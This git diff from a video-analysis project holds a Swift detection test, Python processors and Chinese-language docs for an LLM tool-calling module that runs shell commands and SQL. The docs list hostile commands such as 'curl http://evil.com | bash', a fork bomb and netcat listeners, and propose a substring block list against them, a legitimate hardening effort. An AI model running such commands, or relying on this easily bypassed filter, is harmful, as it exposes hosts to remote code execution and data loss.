zoIft_Z6LmSMQ;P~uRD7as3^9WMz2CiD|PfH95)6Q$>>d(_#zWYLiM8K;B8LV)}OTz zu@~F!kT)0!@OR#(^CCo}0&kPg4=SgN{><0~@rQS~0TnN}yUdGYpT|uNMj;wUCq)PNG_VD>0iLrck|6nDS zq@Dy*&3X6H>3L%bOKtG*EkdN4)D#mCPeIqqCUuy)Sc>_gDN}mM?(XH2e$7)$uP$w@ zW@hK<4L2pk7^)ZVo=HP$sZ5MD)i9~u3dI|YuDRj!-^}xBI^|5iPRYLtNW7RS=jL0- zWJ}kN7c=IL?$s2Cozf1FE%XLV^%3&y;2}28}lSY{&Gxa zjEU?N8J?6;AmiySbHYSu<6B$3BQm)^@4-8<<1o?D+g{6fwQ^mdW~}ay1!l?@2b0}! zPh5<}83NU=NDHQ!CzY@l=S>N@S~Yw=p46YM1tiY~<|_du7ZuCrpk0#Zq$U^5=Zog> zq#Mm{k`qj)b9uB-*H$li1jhAv^i_CFq#ZmxVs;r8?r{_(w5)vIRH?nhBybL?}R0 zYh?-TS?fd(<~*~vcs!*ZN+~OOi8pnQ1h0p!RKmTyYU6(Gn=Gd9J&%Zb3f##lgAT3;*{0tA9}HZ+)ZnSL^1!cg(NU z(Vg#}f5*qCjya?HpY5mZ-g`@MLUYC6XQUr_^M@OTyQiGAWoh8EFDsu~+wY_s?tFB3 z_>yZM$XLATf*&9G-36cI*EN20f7O6j&pvhAh{$Wf*_GuV%=28k{=5(We%v?z`RdSf z$Gm!J`nosW*L^x_!r_(6e=+g#^ql9;KQPzxRNM2%ZtC~(HEY(7b^o$&Zq;Lh7vDXr ztmU(b-a#+l_vz`61@3tAn$~-U{krw|nz;*ad2jO3zkXI(^ufe=_L7S}ZTNW3MMGX| zDm#2hzZbsz)y~^JLtp)VU2Dyj4?kbD`v+4-uUYu%bz5F(UtMt}lwt$5f3y?yY4v9JDM*1n+=M*jKiTYuRws?+=MIk#Oo^6_UzZWv|D z{`61l?s_%y-kioGp5Kgpz3)k%oU{0o$ER!^wP5h1K{H34KjP%qgNMJI(eL4NOLh#p z=eY-`{dw-yTi-v+`Qhe!e*fSVn;xkTJo{18j=rz|@sA7BXVmxWT()J|(yRA9aec*g z+FrF9QC^w0TvdBt1Tbj<$xuDc)q^oIi%y_LKE(G!37^}YKR^c4PI^}lSpz44Cd z*5Q9zdu%{kKI!4%;d3t<`NnZ&)2^KN`q$&0xcy(%-&6R{esxayp=Vxy>&4FDZ~yj+ ztY7rGV^#Z)Zg_II>w%vfd&K+f-VYx7ZB5gA4?J=DzJ>RVc)9*+@?0LUi_sBzU zuV}jKgrD#HJet{g`N~T@V}AYh?t2IP;*HPl7_@44>4g8ht?=*r*DowPbM~)4AJMw$ z)2n~?W?JFYCAOoN1TLFVI`AF;%E-Z!&b(>Wn(UFM9(-l!=vQYP|JR9Uy?5F7-hJ)E zU(dStFDnkeaobhb6r=?kn_hqA>I3_3{c7l{>wY@olS@7w_;lObXEr@|^vz41FFc+1 z+Tq&s!yBIcys+n}O^)jjLeAANo5wG-d_^Uy6D zuR7-sQ=dHZxQ~|ad9v;D-!30^WW-bDU$6Y#!55B9JZ;&&Uw`n)>MuTga!^OXU9V@o z^w)2OhW [test_frame] + */ + +import Foundation +import AVFoundation +import Vision + +let args = CommandLine.arguments +guard args.count >= 2 else { + print("Usage: swift stability_test.swift [test_frame]") + exit(1) +} + +let videoPath = args[1] +let testFrame = args.count > 2 ? Int(args[2]) ?? 50 : 50 + +print("[StabilityTest] Video: \(videoPath)") +print("[StabilityTest] Testing frame: \(testFrame)") + +// Extract target frame +let url = URL(fileURLWithPath: videoPath) +let asset = AVURLAsset(url: url) +let tracks = try await asset.loadTracks(withMediaType: .video) +guard let track = tracks.first else { exit(1) } + +let reader = try AVAssetReader(asset: asset) +let outputSettings: [String: Any] = [kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)] +let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings) +reader.add(trackOutput) +reader.startReading() + +var targetBuffer: CVPixelBuffer? +var frameIdx = 0 +while let sb = trackOutput.copyNextSampleBuffer() { + if frameIdx == testFrame { + targetBuffer = CMSampleBufferGetImageBuffer(sb) + break + } + frameIdx += 1 +} +reader.cancelReading() + +guard let imageBuffer = targetBuffer else { + print("[ERROR] Frame \(testFrame) not found") + exit(1) +} + +let width = CVPixelBufferGetWidth(imageBuffer) +let height = CVPixelBufferGetHeight(imageBuffer) +print("[StabilityTest] Frame size: \(width)x\(height)") + +// Run face detection N times +func runFaceDetection() -> [FaceResult] { + let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:]) + let request = VNDetectFaceRectanglesRequest() + var results: [FaceResult] = [] + do { + try handler.perform([request]) + if let observations = request.results { + for obs in observations { + let rect = obs.boundingBox + results.append(FaceResult( + x: Int(rect.origin.x * Double(width)), + y: Int((1 - rect.origin.y - rect.height) * Double(height)), + w: Int(rect.width * Double(width)), + h: Int(rect.height * Double(height)), + confidence: obs.confidence + )) + } + } + } catch { print(" Face error: \(error)") } + return results +} + +// Run pose detection N times +func runPoseDetection() -> [PoseResult] { + let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:]) + let request = VNDetectHumanBodyPoseRequest() + var results: [PoseResult] = [] + do { + try handler.perform([request]) + if let observations = request.results as? [VNHumanBodyPoseObservation] { + for obs in observations { + var minX = Double.infinity, minY = Double.infinity + var maxX = -Double.infinity, maxY = -Double.infinity + var noseX: Double = 0, noseY: Double = 0 + var hasNose = false + + let joints: [VNHumanBodyPoseObservation.JointName] = [.nose, .leftEye, .rightEye, .leftShoulder, .rightShoulder] + for jn in joints { + if let pt = try? obs.recognizedPoint(jn), pt.confidence > 0.3 { + let px = pt.location.x * Double(width) + let py = (1 - pt.location.y) * Double(height) + minX = min(minX, px); minY = min(minY, py) + maxX = max(maxX, px); maxY = max(maxY, py) + if jn == .nose { noseX = px; noseY = py; hasNose = true } + } + } + + if hasNose { + let pad = 20 + results.append(PoseResult( + x: Int(max(0, minX - Double(pad))), + y: Int(max(0, minY - Double(pad))), + w: Int(maxX - minX + Double(pad * 2)), + h: Int(maxY - minY + Double(pad * 2)), + noseX: noseX, noseY: noseY + )) + } + } + } + } catch { print(" Pose error: \(error)") } + return results +} + +struct FaceResult { let x: Int, y: Int, w: Int, h: Int, confidence: Float } +struct PoseResult { let x: Int, y: Int, w: Int, h: Int, noseX: Double, noseY: Double } + +// Run 100 times each +let runs = 100 +print("\n[StabilityTest] Running \(runs) iterations each...\n") + +var faceResults: [[FaceResult]] = [] +var poseResults: [[PoseResult]] = [] + +for i in 0.. ToolResult: + import requests as req + + collection = args.get("collection", "momentry_rule1") + query_text = args.get("query_text", "") + limit = args.get("limit", 10) + + if not query_text: + return ToolResult(success=False, data=None, error="No query text provided") + + # 檢查 embedding server + try: + embed_health = req.get("http://localhost:11436/health", timeout=5) + if embed_health.status_code != 200: + return ToolResult(success=False, error="Embedding server not healthy") + except requests.exceptions.ConnectionError: + return ToolResult(success=False, error="Embedding server not available at http://localhost:11436") + + # 取得 embedding + embed_url = "http://localhost:11436/embed" + try: + embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30) + embed_resp.raise_for_status() + embedding = embed_resp.json()["embeddings"][0] + except Exception as e: + return ToolResult(success=False, error=f"Embedding failed: {str(e)}") + + # 檢查 Qdrant collection + qdrant_url_base = args.get("qdrant_url", "http://localhost:6333") + try: + collections_url = f"{qdrant_url_base}/collections" + coll_resp = req.get(collections_url, timeout=10) + coll_resp.raise_for_status() + collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])] + if collection not in collections: + return ToolResult( + success=False, + error=f"Collection '{collection}' not found. Available: {', '.join(collections)}" + ) + except Exception as e: + return ToolResult(success=False, error=f"Qdrant connection failed: {str(e)}") + + # 執行搜尋 + search_url = f"{qdrant_url_base}/collections/{collection}/points/search" + search_payload = {"vector": embedding, "limit": limit, "with_payload": True} + + try: + search_resp = req.post(search_url, json=search_payload, timeout=30) + search_resp.raise_for_status() + results = search_resp.json().get("result", []) + except Exception as e: + return ToolResult(success=False, error=f"Search failed: {str(e)}") + + return ToolResult( + success=True, + data={ + "matches": [ + {"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})} + for r in results + ], + "match_count": len(results) + } + ) +``` + +#### 1.2 改進錯誤處理 + +**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py` + +```python +def run(self, user_query: str) -> str: + # ... 現有程式碼 ... + + # 執行工具 + tool_result = self.execute_tool_call(tool_call) + + # 改進錯誤訊息 + if tool_result.success: + result_str = json.dumps({ + "success": True, + "data": tool_result.data + }, ensure_ascii=False, cls=DateTimeEncoder) + else: + result_str = json.dumps({ + "success": False, + "error": tool_result.error, + "suggestion": "Try a different tool or rephrase your query." + }, ensure_ascii=False) + + messages.append({"role": "user", "content": f"Tool result: {result_str}"}) +``` + +--- + +## 問題 2:Bash 安全檢查不足 + +### 現象 + +```python +blocked = ["rm -rf /", "mkfs", "dd if=", "> /dev/"] +``` + +### 風險分析 + +| 危險命令 | 是否阻止 | 風險等級 | +|---------|---------|---------| +| `rm -rf /` | ✅ 是 | 🔴 高 | +| `sudo rm -rf /` | ❌ 否 | 🔴 高 | +| `chmod 777 /etc/passwd` | ❌ 否 | 🔴 高 | +| `curl http://evil.com | bash` | ❌ 否 | 🔴 高 | +| `:(){ :|:& };:` (fork bomb) | ❌ 否 | 🔴 高 | +| `nc -l 4444` | ❌ 否 | 🟡 中 | + +### 解決方案 + +**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py` + +```python +def execute_bash(args: Dict[str, Any]) -> ToolResult: + command = args.get("command", "") + timeout = args.get("timeout", 30) + + if not command: + return ToolResult(success=False, data=None, error="No command provided") + + # 限制命令長度 + if len(command) > 2000: + return ToolResult(success=False, error="Command too long (max 2000 chars)") + + # 更完整的安全檢查 + blocked_patterns = [ + # 檔案系統破壞 + "rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/", + # 權限提升 + "sudo ", "su -", "chmod 777", "chown root", + # 遠端執行 + "curl | bash", "curl | sh", "wget | sh", "wget | bash", + "curl http", "wget http", + # 拒絕服務 + ":(){", "fork", "kill -9 1", + # 網路監聽 + "nc -l", "netcat -l", "socat", + ] + + command_lower = command.lower() + for pattern in blocked_patterns: + if pattern in command_lower: + return ToolResult( + success=False, + data=None, + error=f"Blocked dangerous command pattern: {pattern}" + ) + + # 執行命令 + try: + result = subprocess.run( + command, + shell=True, + capture_output=True, + text=True, + timeout=timeout + ) + return ToolResult( + success=result.returncode == 0, + data={ + "stdout": result.stdout[:5000], # 限制輸出大小 + "stderr": result.stderr[:2000], + "returncode": result.returncode + } + ) + except subprocess.TimeoutExpired: + return ToolResult( + success=False, + data=None, + error=f"Command timed out after {timeout}s" + ) +``` + +--- + +## 問題 3:缺少工具調用日誌 + +### 現象 + +工具調用過程無日誌記錄,難以除錯和審計。 + +### 解決方案 + +**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py` + +```python +import logging + +# 設定日誌 +logger = logging.getLogger('tool_caller') + +class OllamaToolCaller: + def run(self, user_query: str) -> str: + logger.info(f"Starting tool call loop for query: {user_query}") + self._tool_call_history = [] + + messages = [ + {"role": "system", "content": self.system_prompt}, + {"role": "user", "content": user_query} + ] + + tool_results_collected = [] + + for iteration in range(self.max_iterations): + logger.info(f"Iteration {iteration + 1}/{self.max_iterations}") + + # 呼叫 LLM + response = self.chat(messages) + message = response.get("message", {}) + tool_calls = message.get("tool_calls", []) + + if not tool_calls: + # 檢查文字中的工具調用 + extracted = self._extract_tool_from_text(message.get("content", "")) + if extracted: + name, params = extracted + tool_key = self._get_tool_key(name, params) + + if not self._is_duplicate_call(tool_key): + self._add_to_history(tool_key) + logger.info(f"Executing tool: {name} with args: {params}") + + tool_call = {"function": {"name": name, "arguments": params}} + tool_result = self.execute_tool_call(tool_call) + + if tool_result.success: + logger.info(f"Tool succeeded in {tool_result.execution_time_ms:.1f}ms") + else: + logger.error(f"Tool failed: {tool_result.error}") + + # ... 繼續處理 ... + + logger.info(f"Tool call loop completed after {iteration + 1} iterations") + return final_answer +``` + +--- + +## 問題 4:Qdrant Collection 名稱硬編碼 + +### 現象 + +```python +collection = args.get("collection", "momentry_rule1") +``` + +### 風險 + +Collection 名稱可能與實際部署不符,導致搜尋失敗。 + +### 解決方案 + +**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py` + +```python +import os + +def register_default_tools(self, db_url=None, qdrant_url=None): + """Register default tools with connection strings""" + + # 使用環境變數 + default_collection = os.environ.get( + "QDRANT_DEFAULT_COLLECTION", + "momentry_rule1" + ) + + def search_qdrant(args: Dict[str, Any]) -> ToolResult: + collection = args.get("collection", default_collection) + # ... 其餘程式碼 ... + + self.registry.register( + name="search_qdrant", + description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}", + parameters={ + "type": "object", + "properties": { + "collection": { + "type": "string", + "description": f"Qdrant collection name (default: {default_collection})", + "default": default_collection + }, + # ... 其餘參數 ... + }, + "required": ["query_text"] + }, + executor=search_qdrant + ) +``` + +--- + +## 測試驗證 + +### 執行測試 + +```bash +cd /Users/accusys/momentry_core/scripts +python3 test_tool_caller.py +``` + +### 預期結果 + +| 測試 | 預期狀態 | 說明 | +|------|---------|------| +| TEST 1: Single Tool | ✅ 通過 | PostgreSQL 查詢正常 | +| TEST 2: Multi-Tool | ✅ 通過 | PostgreSQL → Qdrant 順序執行 | +| TEST 3: Direct Tool | ✅ 通過 | 直接工具執行正常 | +| TEST 4: Bash Safety | ✅ 通過 | 危險命令被阻止 | + +--- + +## 版本資訊 + +| 版本 | 日期 | 說明 | +|------|------|------| +| 1.0.0 | 2026-07-26 | 初始版本,記錄已知問題及解決方案 | diff --git a/scripts/TOOL_CALLING_README.md b/scripts/TOOL_CALLING_README.md new file mode 100644 index 0000000..0983255 --- /dev/null +++ b/scripts/TOOL_CALLING_README.md @@ -0,0 +1,438 @@ +# Momentry Tool Calling Module 使用說明 + +## 目錄 + +- [概述](#概述) +- [安裝](#安裝) +- [快速開始](#快速開始) +- [工具說明](#工具說明) +- [進階用法](#進階用法) +- [API 參考](#api-參考) +- [常見問題](#常見問題) + +--- + +## 概述 + +Tool Calling Module 是一個基於 Ollama API 的工具調用模組,支援順序執行多個工具來完成複雜任務。 + +### 核心功能 + +- ✅ 支援 PostgreSQL 資料庫查詢 +- ✅ 支援 Qdrant 向量搜尋 +- ✅ 支援 Bash 命令執行 +- ✅ 支援 HTTP API 調用 +- ✅ 防止工具重複調用 +- ✅ 自動參數正規化 + +--- + +## 安裝 + +### 依賴套件 + +```bash +pip install requests psycopg2-binary +``` + +### 檔案位置 + +``` +/Users/accusys/momentry_core/scripts/ +├─ tool_caller.py # 核心模組 +└─ test_tool_caller.py # 測試腳本 +``` + +--- + +## 快速開始 + +### 基本用法 + +```python +from tool_caller import OllamaToolCaller + +# 1. 建立 Tool Caller +caller = OllamaToolCaller( + base_url="http://localhost:11434", + model="llama3.1:8b", + max_tool_calls=5 +) + +# 2. 註冊預設工具 +caller.register_default_tools() + +# 3. 執行查詢 +result = caller.run("How many videos are in the database?") +print(result) +# 輸出: "There are 23 videos in the database." +``` + +### 中文查詢 + +```python +result = caller.run("查詢資料庫中有多少影片") +print(result) +# 輸出: "有 23 個視頻存放在資料庫中。" +``` + +--- + +## 工具說明 + +### 1. query_postgres - PostgreSQL 查詢 + +執行 SQL 查詢語句。 + +```python +# 直接執行 +result = caller.registry.execute("query_postgres", { + "query": "SELECT COUNT(*) FROM videos" +}) +print(result.data) +# {'rows': [{'count': 23}], 'row_count': 1} +``` + +**參數:** + +| 參數 | 類型 | 必填 | 說明 | +|------|------|------|------| +| `query` | string | ✅ | SQL 查詢語句 | + +**支援的 SQL 操作:** +- SELECT (查詢) +- INSERT (新增) +- UPDATE (更新) +- DELETE (刪除) + +### 2. search_qdrant - 向量搜尋 + +在 Qdrant 向量資料庫中搜尋相似內容。 + +```python +result = caller.registry.execute("search_qdrant", { + "collection": "momentry_rule1", + "query_text": "sunset beach", + "limit": 10 +}) +print(result.data) +# {'matches': [...], 'match_count': 3} +``` + +**參數:** + +| 參數 | 類型 | 必填 | 預設值 | 說明 | +|------|------|------|--------|------| +| `collection` | string | ❌ | `momentry_rule1` | Qdrant collection 名稱 | +| `query_text` | string | ✅ | - | 搜尋文字 (會自動轉為向量) | +| `limit` | integer | ❌ | `10` | 最大結果數 | + +### 3. execute_bash - Bash 執行 + +執行系統 Bash 命令。 + +```python +result = caller.registry.execute("execute_bash", { + "command": "df -h", + "timeout": 10 +}) +print(result.data) +# {'stdout': 'Filesystem...', 'stderr': '', 'returncode': 0} +``` + +**參數:** + +| 參數 | 類型 | 必填 | 預設值 | 說明 | +|------|------|------|--------|------| +| `command` | string | ✅ | - | Bash 命令 | +| `timeout` | integer | ❌ | `30` | 超時秒數 | + +**安全限制:** + +以下命令會被阻止: +- `rm -rf /` +- `mkfs` +- `dd if=` +- `> /dev/` + +### 4. call_api - HTTP API 調用 + +調用外部 HTTP API。 + +```python +result = caller.registry.execute("call_api", { + "url": "https://api.example.com/data", + "method": "GET", + "headers": {"Authorization": "Bearer token123"} +}) +print(result.data) +# {'status_code': 200, 'headers': {...}, 'body': '{...}'} +``` + +**參數:** + +| 參數 | 類型 | 必填 | 預設值 | 說明 | +|------|------|------|--------|------| +| `url` | string | ✅ | - | API 端點 URL | +| `method` | string | ❌ | `GET` | HTTP 方法 (GET/POST/PUT/DELETE) | +| `headers` | object | ❌ | `{}` | HTTP 標頭 | +| `data` | object | ❌ | `null` | 請求體 (POST/PUT) | + +--- + +## 進階用法 + +### 1. 自訂工具 + +```python +from tool_caller import OllamaToolCaller, ToolResult + +caller = OllamaToolCaller() + +# 定義工具執行器 +def my_custom_tool(args): + # 自訂邏輯 + result = do_something(args["param1"], args["param2"]) + return ToolResult(success=True, data=result) + +# 註冊工具 +caller.registry.register( + name="my_custom_tool", + description="My custom tool description", + parameters={ + "type": "object", + "properties": { + "param1": {"type": "string"}, + "param2": {"type": "integer"} + }, + "required": ["param1"] + }, + executor=my_custom_tool +) +``` + +### 2. 自訂連線字串 + +```python +# 使用自訂 PostgreSQL 連線 +caller.register_default_tools( + db_url="postgres://user:pass@host:5432/dbname" +) + +# 使用自訂 Qdrant 連線 +caller.register_default_tools( + qdrant_url="http://qdrant-server:6333" +) +``` + +### 3. 多輪對話 + +```python +caller = OllamaToolCaller(max_tool_calls=5) + +# 第一次查詢 +result1 = caller.run("查詢資料庫中有多少影片") +print(f"第一次: {result1}") + +# 第二次查詢 (會自動清理歷史) +result2 = caller.run("查詢使用者數量") +print(f"第二次: {result2}") +``` + +### 4. 追蹤工具調用歷史 + +```python +caller = OllamaToolCaller() +caller.register_default_tools() + +result = caller.run("查詢資料庫中有多少影片") +print(f"結果: {result}") +print(f"調用歷史: {caller._tool_call_history}") +# ['query_postgres:{"query": "SELECT COUNT(*) FROM videos"}'] +``` + +--- + +## API 參考 + +### OllamaToolCaller + +#### 建構函數 + +```python +OllamaToolCaller( + base_url: str = "http://localhost:11434", + model: str = "llama3.1:8b", + max_iterations: int = 10, + max_tool_calls: int = 5 +) +``` + +| 參數 | 類型 | 預設值 | 說明 | +|------|------|--------|------| +| `base_url` | string | `http://localhost:11434` | Ollama API 位址 | +| `model` | string | `llama3.1:8b` | 模型名稱 | +| `max_iterations` | int | `10` | 最大迭代次數 | +| `max_tool_calls` | int | `5` | 最大工具調用次數 | + +#### 方法 + +##### `run(user_query: str) -> str` + +執行工具調用迴圈並返回最終結果。 + +##### `chat(messages: List[Dict]) -> Dict` + +發送聊天請求到 Ollama API。 + +##### `execute_tool_call(tool_call: Dict) -> ToolResult` + +執行單個工具調用。 + +##### `register_default_tools(db_url=None, qdrant_url=None)` + +註冊預設工具。 + +--- + +### ToolResult + +```python +@dataclass +class ToolResult: + success: bool # 是否成功 + data: Any # 結果資料 + error: str = None # 錯誤訊息 + execution_time_ms: float = 0 # 執行時間 (毫秒) +``` + +--- + +### ToolRegistry + +#### 方法 + +##### `register(name, description, parameters, executor)` + +註冊新工具。 + +##### `get_definitions() -> List[Dict]` + +取得所有工具定義。 + +##### `has_tool(name: str) -> bool` + +檢查工具是否存在。 + +##### `execute(name: str, arguments: Dict) -> ToolResult` + +執行工具。 + +--- + +## 常見問題 + +### Q1: 工具調用失敗怎麼辦? + +檢查以下幾點: +1. Ollama 服務是否運行: `curl http://localhost:11434/api/tags` +2. 模型是否已下載: `ollama list` +3. 工具連線是否正確 (PostgreSQL/Qdrant) + +### Q2: 如何除錯工具調用? + +```python +# 啟用詳細日誌 +caller = OllamaToolCaller() +caller.register_default_tools() + +# 追蹤調用歷史 +result = caller.run("查詢資料庫") +print(f"調用歷史: {caller._tool_call_history}") +``` + +### Q3: 如何處理大量資料? + +```python +# 限制 Bash 輸出大小 +result = caller.registry.execute("execute_bash", { + "command": "ls -la | head -100", + "timeout": 30 +}) + +# 限制 PostgreSQL 結果 +result = caller.registry.execute("query_postgres", { + "query": "SELECT * FROM videos LIMIT 100" +}) +``` + +### Q4: 如何自訂安全規則? + +修改 `execute_bash` 中的 `blocked` 列表: + +```python +blocked = [ + "rm -rf /", + "mkfs", + "dd if=", + "> /dev/", + "your_custom_dangerous_command" +] +``` + +--- + +## 範例腳本 + +### 查詢資料庫 + +```python +from tool_caller import OllamaToolCaller + +caller = OllamaToolCaller() +caller.register_default_tools() + +# 查詢影片數量 +result = caller.run("How many videos are in the database?") +print(result) + +# 查詢特定資料 +result = caller.run("查詢所有狀態為 completed 的影片") +print(result) +``` + +### 系統監控 + +```python +# 檢查磁碟使用量 +result = caller.run("Check the current disk usage") +print(result) + +# 檢查記憶體使用量 +result = caller.run("Check the current memory usage") +print(result) + +# 檢查處理程序 +result = caller.run("Show running processes") +print(result) +``` + +### 向量搜尋 + +```python +# 搜尋相似影片 +result = caller.run("Find videos similar to sunset beach") +print(result) + +# 搜尋特定人物 +result = caller.run("Find videos with John in them") +print(result) +``` + +--- + +## 版本資訊 + +- **版本:** 1.0.0 +- **更新日期:** 2026-07-26 +- **作者:** Momentry Core Team diff --git a/scripts/appearance_processor.py b/scripts/appearance_processor.py index e09c7c4..66e4ff6 100644 --- a/scripts/appearance_processor.py +++ b/scripts/appearance_processor.py @@ -220,6 +220,7 @@ def main(): parser.add_argument("pose_json") parser.add_argument("output_path") parser.add_argument("--uuid", "-u", default="") + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) args = parser.parse_args() with open(args.pose_json) as f: diff --git a/scripts/appearance_processor_v2.py b/scripts/appearance_processor_v2.py new file mode 100644 index 0000000..335fe92 --- /dev/null +++ b/scripts/appearance_processor_v2.py @@ -0,0 +1,164 @@ +#!/opt/homebrew/bin/python3.11 +""" +Appearance Expansion Processor V2 + +Calls swift_appearance_expansion which: +1. Reads pose.json (from pose expansion) +2. Expands appearance detection from pose frames +3. Stops when 3 consecutive frames have HSV similarity < 0.5 +4. Outputs at 8Hz sampling (floor(fps/8)) + +Flow: + face_processor.py → face.json + store_traced_faces.py → face_traced.json (with trace_id) + pose_processor.py → pose.json + appearance_processor.py → appearance.json (this script) +""" + +import sys +import os +import json +import argparse +import subprocess +import time + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from redis_publisher import RedisPublisher + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_appearance_expansion") +SWIFT_BIN_DEBUG = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "debug", "swift_appearance_expansion") + +OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output") + + +def process_appearance( + video_path: str, + output_path: str, + uuid: str = "", + publisher: RedisPublisher = None, +) -> dict: + """Process appearance expansion from pose frames. + + Args: + video_path: Path to video file + output_path: Path to output appearance.json + uuid: File UUID for logging + publisher: Redis publisher for progress updates + """ + # Check if appearance.json already exists + if os.path.exists(output_path): + with open(output_path) as f: + data = json.load(f) + frame_count = len(data.get("frames", [])) + print(f"[Appearance] Output exists: {output_path} ({frame_count} frames)", file=sys.stderr) + if publisher: + publisher.progress("appearance", 100, 100, f"{frame_count} frames (exists)") + return data + + # Determine file_uuid from output_path + file_uuid = os.path.basename(output_path).replace(".appearance.json", "") + + # Find pose.json + pose_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.pose.json") + + if not os.path.exists(pose_path): + print(f"[Appearance] ERROR: pose.json not found for {file_uuid}", file=sys.stderr) + # Return empty result + empty_result = {"frame_count": 0, "fps": 0.0, "frames": []} + with open(output_path, "w") as f: + json.dump(empty_result, f) + return empty_result + + # Build swift_appearance_expansion if needed + swift_bin = SWIFT_BIN if os.path.exists(SWIFT_BIN) else SWIFT_BIN_DEBUG + if not os.path.exists(swift_bin): + build_dir = os.path.join(SCRIPT_DIR, "swift_processors") + print(f"[Appearance] Building swift_appearance_expansion in {build_dir}...", file=sys.stderr) + result = subprocess.run( + ["swift", "build", "-c", "release", "--product", "swift_appearance_expansion"], + cwd=build_dir, capture_output=True, text=True + ) + if result.returncode != 0: + print(f"[Appearance] Build failed: {result.stderr}", file=sys.stderr) + raise RuntimeError("Failed to build swift_appearance_expansion") + swift_bin = SWIFT_BIN + + # Run swift_appearance_expansion + cmd = [ + swift_bin, + video_path, + pose_path, + output_path, + ] + if uuid: + cmd.extend(["--uuid", uuid]) + + print(f"[Appearance] Running: {' '.join(cmd)}", file=sys.stderr) + + t0 = time.time() + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + + # Monitor progress + last_progress = "" + while proc.poll() is None: + time.sleep(5) + # Read stderr for progress + try: + import select + if select.select([proc.stderr], [], [], 0)[0]: + line = proc.stderr.readline().strip() + if line and line != last_progress: + last_progress = line + print(f"[Appearance] {line}", file=sys.stderr) + if publisher and "frames" in line: + publisher.progress("appearance", 50, 100, line) + except Exception: + pass + + # Read remaining output + stdout, stderr = proc.communicate() + if stdout: + print(stdout, file=sys.stderr) + if stderr: + print(stderr, file=sys.stderr) + + elapsed = time.time() - t0 + + if proc.returncode != 0: + print(f"[Appearance] ERROR: swift_appearance_expansion exited with code {proc.returncode}", file=sys.stderr) + if publisher: + publisher.error("appearance", f"Process failed with code {proc.returncode}") + raise RuntimeError(f"swift_appearance_expansion failed: {proc.returncode}") + + # Load result + if not os.path.exists(output_path): + print(f"[Appearance] ERROR: Output file not created: {output_path}", file=sys.stderr) + raise RuntimeError("Appearance output not created") + + with open(output_path) as f: + result = json.load(f) + + frame_count = len(result.get("frames", [])) + print(f"[Appearance] Done: {frame_count} frames in {elapsed:.1f}s", file=sys.stderr) + + if publisher: + publisher.progress("appearance", 100, 100, f"{frame_count} frames") + publisher.complete("appearance", f"{frame_count} frames") + + return result + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Appearance Expansion Processor") + parser.add_argument("video_path", help="Video file path") + parser.add_argument("output_path", help="Output appearance.json path") + parser.add_argument("--uuid", "-u", default="", help="File UUID for logging") + args = parser.parse_args() + + publisher = RedisPublisher(args.uuid) if args.uuid else None + if publisher: + publisher.info("appearance", "APPEARANCE_START") + + result = process_appearance(args.video_path, args.output_path, args.uuid, publisher) + print(f"Appearance: {len(result.get('frames', []))} frames with appearance") \ No newline at end of file diff --git a/scripts/asr_processor.py b/scripts/asr_processor.py index 6624366..345e2f7 100755 --- a/scripts/asr_processor.py +++ b/scripts/asr_processor.py @@ -349,6 +349,7 @@ def run_asr(video_path, output_path, uuid: str = "", fps: float = None): "text": segment.text.strip(), "scene_number": scene_idx + 1, "language": seg_language, + "confidence": getattr(segment, "confidence", 0.0), }) total_segments += 1 @@ -396,6 +397,7 @@ def run_asr(video_path, output_path, uuid: str = "", fps: float = None): "start_frame": int(round(segment.start * fps)), "end_frame": int(round(segment.end * fps)), "text": segment.text.strip(), + "confidence": getattr(segment, "confidence", 0.0), }) total_segments += 1 if total_segments % 100 == 0: diff --git a/scripts/asrx_processor.py b/scripts/asrx_processor.py index ce5973a..231358b 100755 --- a/scripts/asrx_processor.py +++ b/scripts/asrx_processor.py @@ -121,8 +121,19 @@ def _convert_asr_segments_to_asrx(asr_segments, output_path): try: with open(probe_path) as pf: probe_data = json.load(pf) - if "fps" in probe_data: - fps = float(probe_data["fps"]) + # Extract fps from streams array (video stream) + for stream in probe_data.get("streams", []): + if stream.get("codec_type") == "video": + if "r_frame_rate" in stream: + fps_str = stream["r_frame_rate"] + # Parse "24000/1001" format + if "/" in fps_str: + num, den = fps_str.split("/") + if float(den) > 0: + fps = float(num) / float(den) + else: + fps = float(fps_str) + break except Exception: pass @@ -154,8 +165,19 @@ def _convert_result(result, output_path): try: with open(probe_path) as pf: probe_data = json.load(pf) - if "fps" in probe_data: - fps = float(probe_data["fps"]) + # Extract fps from streams array (video stream) + for stream in probe_data.get("streams", []): + if stream.get("codec_type") == "video": + if "r_frame_rate" in stream: + fps_str = stream["r_frame_rate"] + # Parse "24000/1001" format + if "/" in fps_str: + num, den = fps_str.split("/") + if float(den) > 0: + fps = float(num) / float(den) + else: + fps = float(fps_str) + break except Exception: pass diff --git a/scripts/asrx_processor_custom_v1.11.py b/scripts/asrx_processor_custom_v1.11.py index 43de35b..addca4d 100644 --- a/scripts/asrx_processor_custom_v1.11.py +++ b/scripts/asrx_processor_custom_v1.11.py @@ -226,12 +226,24 @@ def process_asrx_custom(video_path: str, output_path: str, uuid: str = ""): try: with open(p) as pf: probe_data = json.load(pf) - if "fps" in probe_data: - fps = float(probe_data["fps"]) - print(f"[ASRX] FPS from probe: 